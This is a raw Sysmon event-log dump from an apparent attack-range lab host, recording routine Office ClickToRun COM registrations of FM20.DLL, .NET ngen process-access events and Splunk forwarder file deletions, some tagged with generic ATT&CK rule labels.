Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{86F56B7F-A81B-478d-B231-50FD37CBE761}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{7931F65C-2564-4C19-AE71-E7DDFA008F6A}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{79176FB0-B7F2-11CE-97EF-00AA006D2776}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{787A2D6B-EF66-488D-A303-513C9C75C344}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{6E182020-F460-11CE-9BCD-00AA00608E01}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{6C1B3099-127A-4BE1-93BC-DD4771EEEF90}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{6C177EBD-C42D-4728-A04B-4131892EDBF6}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 11241100x800000000000000040491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:58.721{7BD73061-6F2E-613B-6908-00000000F001}6708C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1a34-0\Microsoft.Office.Tools.dll2021-09-10 14:43:58.721 13241300x800000000000000040490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{6240EF28-7EAB-4dc7-A5E3-7CFB35EFB34D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5E90CC8B-E402-4350-82D7-996E92010608}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5CBA34AE-E344-40CF-B61D-FBA4D0D1FF54}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 23542300x800000000000000040487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.706{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F092254F65DCC2766967C47EC8A33AC8,SHA256=C62A509DD21ABFA77C306632D02BDFF85998B39BAF5E55B2BD5DAEF7A8892368,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D124-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D122-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.690{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6908-00000000F001}6708C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D11E-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.690{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D11C-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D11A-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.674{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2E-613B-6908-00000000F001}6708C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.674{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2E-613B-6908-00000000F001}6708C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 13241300x800000000000000040478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.674{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D118-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D116-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D114-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.659{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D112-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.659{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6808-00000000F001}6928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.643{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5512D110-5CC6-11CF-8D67-00AA00BDCE1D}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.643{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{5052A832-2C0F-46c7-B67C-1F1FEC37B280}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.643{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.643{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}6928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.628{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{4C599241-6926-101B-9992-00000B65C6F9}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.628{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{4795051A-6429-4D63-BCA0-D706532954AC}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{46E31370-3F7A-11CE-BED6-00AA00611080}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.612{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{3D0FD779-0C2D-4708-A9BA-62F7458A5A53}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{227B1F3B-C276-4DE0-9FAA-C0AD42ADDCF0}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.596{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6708-00000000F001}6548C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.596{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{19FED08E-EFD1-45da-B524-7BE4774A6AEE}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{13D557B6-A469-4362-BEAF-52BFD0F180E2}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.581{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6548C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.581{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}6548C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.581{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{04082FC6-E032-49F2-A263-FE64E9DA1FA3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.565{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{02AF6DD2-77E6-44DF-B3E1-57CF1476D8EA}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 10341000x800000000000000040457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.518{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6608-00000000F001}4808C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.503{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}4808C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.503{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}4808C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000040454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.456{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9505E1F7D313399C5926A6B76E6A6BE9,SHA256=A04E9FDABC26BA7BA7C459AA680B4C1068DADEEC37360E04E25F5DCE1E90BC20,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\tel\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 